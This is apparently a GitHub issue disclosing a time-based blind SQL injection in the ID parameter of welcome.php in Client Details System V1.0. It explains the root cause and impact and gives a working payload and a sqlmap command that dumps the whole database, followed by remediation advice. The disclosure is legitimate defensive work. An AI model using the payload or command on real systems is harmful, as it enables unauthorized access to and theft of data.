Skip to content

Client Details System V1.0 welcome.php SQL injection #6

@hellonewbie

Description

@hellonewbie

NAME OF AFFECTED PRODUCT(S)

  • Client Details System

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • ZengY

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • The vulnerability stems from insecure SQL construction in clientdetails/welcome.php , where the ID value from a GET request ( $_GET['ID'] ) is directly concatenated into a SQL statement. Because the application does not use parameterized queries (prepared statements) or robust input validation, an attacker can inject arbitrary SQL through the ID parameter.

  • Typical anti-patterns include SELECT * FROM clients WHERE id = $ID , SELECT u.* FROM users u JOIN profiles p ON u.id = $ID , or dynamically composing ORDER BY/LIMIT clauses with untrusted ID , all of which allow manipulation of query logic and structure.

  • Error messages likely propagate to the client and multi-statement execution may be permitted, making boolean-, error-, UNION-, stacked, and time-based techniques viable.

    Impact

  • Unauthorized data disclosure: Attackers can enumerate database metadata and tables and exfiltrate records. With boolean, error-based, UNION, stacked, and time-based techniques, automated tools can pivot from detection to full data dump.

  • Unauthorized data modification: If stacked queries are possible or related update paths are reachable, injection into WHERE/VALUES clauses enables altering, corrupting, or deleting records.

  • Authentication/authorization bypass: If welcome.php gates or reflects session-related content, weak access control allows direct database interaction via the injectable ID parameter regardless of login state.

  • System compromise escalation: With excessive DB privileges, attackers can read local files ( LOAD_FILE ), write web-accessible files ( SELECT ... INTO OUTFILE ), or trigger dangerous functions, potentially leading to remote code execution or full server compromise.

  • Denial of service: Time-based payloads (e.g., SLEEP() ) can degrade availability by blocking worker threads.

DESCRIPTION

  • A critical SQL Injection vulnerability exists in clientdetails/welcome.php via the ID GET parameter. The application embeds ID unescaped into backend SQL, enabling attackers to alter query logic and inject additional statements. Because input is not sanitized and prepared statements are not used, the endpoint is susceptible to multiple exploitation techniques.

Need login or authorization

Vulnerability details and POC

Vulnerability type:

  • time-based blind

Vulnerability location:

  • 'ID' parameter

Payload:

---
Parameter: ID (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ID=1' AND (SELECT 9698 FROM (SELECT(SLEEP(5)))rSxe)-- HUeU
---

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

┌──(root?kali)-[~]
└─# sqlmap -u "http://localhost/clientdetails/welcome.php?ID=1" -p ID --risk=3 --level=5 --batch --technique=BEUST --random-agent --dump-all
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.9.3#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:20:24 /2025-10-12/

Image

Attack results

Image Image

Suggested repair

1. Implement Parameterized Queries (Prepared Statements)

Recommendation: Refactor all database queries to use parameterized statements instead of manually concatenating user input into SQL strings. This is the most effective defense against SQL injection. With prepared statements, the SQL query template is sent to the database server first, and the user-supplied parameters are sent separately. This ensures that input is treated strictly as data and cannot be executed as SQL code.

2. Enforce the Principle of Least Privilege (PoLP) on the Database User

Recommendation: Configure the MySQL user account that the PHP application uses to have the minimum set of permissions required for its operation. This is a crucial defense-in-depth measure. If an SQL injection vulnerability were to be exploited, this principle would limit the potential damage. For example, the application's user should only have SELECT , INSERT , and UPDATE permissions on the specific tables it needs to interact with. It should not have administrative privileges like DROP , ALTER , FILE , or access to other databases on the server.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions